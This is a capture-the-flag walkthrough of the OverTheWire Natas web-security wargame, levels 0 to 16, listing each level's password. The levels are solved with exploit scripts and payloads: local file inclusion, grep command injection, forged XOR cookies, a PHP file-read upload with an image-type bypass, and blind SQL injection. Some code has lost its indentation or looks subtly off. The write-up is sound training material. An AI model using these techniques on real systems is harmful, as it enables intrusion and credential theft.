Link to Natas: http://overthewire.org/wargames/natas/
Level 0
Password is given directly in the question's page:
Username: natas0
Password: natas0
Level 1
View the html source and notice this line:
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
Level 2
The rightclicking is disable, we can use the browser's keyboard shortcuts to view the html source, e.g. Ctrl+U
for chrome. We see the line as below in the html source:
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
Level 3
View the html source and notice this line:
<img src="files/pixel.png">
Try a Directory Traversal over http://natas2.natas.labs.overthewire.org/files/:
Access the 'users.txt' and bingo.
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
Level 4
View the html source and notice the tips:
<!-- No more information leaks!! Not even Google will find it this time... -->
Looks like it's relative with the Robots exclusion standard.
Access http://natas3.natas.labs.overthewire.org/robots.txt and this's what we get:
Access the s3cr3t directory and this's what we get:
Access the 'users.txt', bingo.
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Level 5
According to the tips:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
Guess it's about the 'Referer' header. The solution is as below:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
natas4_url = 'http://natas4.natas.labs.overthewire.org'
user = 'natas4'
psw = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'
auth = HTTPBasicAuth(user, psw)
headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'}
print requests.get(natas4_url, auth=auth, headers=headers).content
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Level 6
Tips is as below:
Access disallowed. You are not logged in
'logged in' is always about cookie, just view the cookie header in the request:
There's a field named 'loggedin'! We just set it to 'loggedin=1' and send the request. Solution is as below:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas5.natas.labs.overthewire.org'
auth = HTTPBasicAuth('natas5', 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq')
headers = {'Cookie': 'loggedin=1'}
print requests.get(url, auth=auth, headers=headers).content
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 7
Click 'View sourcecode' to view the source code:
Access the 'includes/secret.inc' file:
Just submit the secret and bingo:
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Level 8
View the html source:
We can pass a GET parameter named 'page' to view a page, just try some tricky ones, e.g. 'http://natas7.natas.labs.overthewire.org/?page=xxx', what we get is as below:
According to the warning message, we can acknowledge the the server end would just show us the content of the file specified by the 'page' given by the url. Just access http://natas7.natas.labs.overthewire.org/?page=/etc/natas_webpass/natas8 and get the password:
Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Level 9
Click 'View sourcecode' to view the source code:
Just reverse the simple encrypt algorithm:
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
Run the code which results in 'oubWYf2kBq', this is the 'Input secret', submit to get the password.
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 10
Server end source code is as below:
According to level 8, the password is stored in the file '/etc/natas_webpass/natas10'. Submit [a-z] /etc/natas_webpass/natas10 #
to form a command grep -i [a-z] /etc/natas_webpass/natas10 # dictionary.txt
which would show us the content in '/etc/natas_webpass/natas10'.
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Level 11
Comparing with Level 10, we can submit a ';','|' or '&' in this level. Actually we didn't use this characters in level 10. Same as level 10, submit [a-z] /etc/natas_webpass/natas11 #
is ok.
Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Level 12
View the source code and we get our target is to make $data["showpassword"] equals "yes"
. The $data
object is loaded by:
According to the code above, $_COOKIE['data']
can be set via a http Cookie
header provided by the client. If we construct a Cookie
which can be decoded by xor_encrypt(base64_decode($_COOKIE["data"]))
into something like {"showpassword":"yes","bgcolor":"#ffffff"}
, we can get the password. Deep into the code of xor_encrypt()
:
The $key
is unknown. But look at the saveData()
function:
The response cookie is encrypted by xor_encrypt()
. In the code above, $d
is the $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
. Because it's a xor
encryption, it's easy to get the $key by:
<?php
$text = '{"showpassword":"no","bgcolor":"#ffffff"}';
$outText = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$key = "";
for($i=0;$i<strlen($text);$i++)
$key = $outText[$i] ^ $text[$i % strlen($text)];
echo $key;
?>
// result: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
Thus the $key
is qw8J
. Next just construct our payload:
<?php
$text = '{"showpassword":"yes","bgcolor":"#ffffff"}';
$key = "qw8J";
$outText = "";
for($i=0;$i<strlen($text);$i++)
$outText = $text[$i] ^ $key[$i % strlen($key)];
$payload= base64_encode($outText);
echo $payload;
?>
// result: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Final solution:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas11.natas.labs.overthewire.org'
user = 'natas11'
psw = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK'
auth = HTTPBasicAuth(user, psw)
headers = {'Cookie': 'data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'}
print requests.get(url, auth=auth, headers=headers).content
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 13
In this level, we can upload any file with size less than 1KB. We can upload a php with the code below to show us the pass word:
// natas13.php
<?php
echo file_get_contents( "/etc/natas_webpass/natas13" );
?>
Because the default filename of the uploaded file ends with .jpg
, in order to make it interpreted by the php interpreter, we must make the uploaded file a .php
extension. The solution:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas12.natas.labs.overthewire.org'
user = 'natas12'
psw = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'
auth = HTTPBasicAuth(user, psw)
files = {'uploadedfile': open('natas13.php','rb')}
values = {'filename': 'natas13.php'}
print requests.post(url, files=files, data=values, auth=auth).content
Run the code above, it gives back the url of the uploaded file, access it via browser to obtain the password.
Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 14
Compare to level 13, this level use exif_imagetype()
to ensure the uploaded file is an image. It's easy to bypass exif_imagetype()
by adding a JPEG header to the uploaded file. Talk is cheap:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas13.natas.labs.overthewire.org'
user = 'natas13'
psw = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY'
auth = HTTPBasicAuth(user, psw)
with open('natas14.php', 'wb') as f:
f.write('\xFF\xD8\xFF\xE0<?php echo file_get_contents( "/etc/natas_webpass/natas14" ); ?>')
files = {'uploadedfile': open('natas14.php','rb')}
values = {'filename': 'natas14.php'}
print requests.post(url, files=files, data=values, auth=auth).content
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 15
A simple SQL injection, provide a username natas15"#
to construct a query string SELECT * from users where username="natas15"#" and password=""
to bypass the password checking.
Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 16
Another SQL injection, usually called blind injection
. Think about the following query string:
SELECT * from users where username="natas16" and password like "a%" COLLATE latin1_bin
If there's a user with name "natas16" and password starting with "a", we will get This user exists
, otherwise we get This user doesn't exist
. Talk is cheap:
# -*- coding: utf-8 -*-
import requests
import string
from requests.auth import HTTPBasicAuth
url = 'http://natas15.natas.labs.overthewire.org'
user = 'natas15'
psw = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
auth = HTTPBasicAuth(user, psw)
d = string.letters + string.digits
password = ''
while len(password) < 32:
for c in d:
current_password = password + c
print current_password
data = {'username': 'natas16" and password like "%s%%" COLLATE latin1_bin#' % current_password}
resp = requests.post(url, auth=auth, data=data).content
if 'This user exists' in resp:
password = password + c
break
print password
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 17
TO BE CONTINUED ...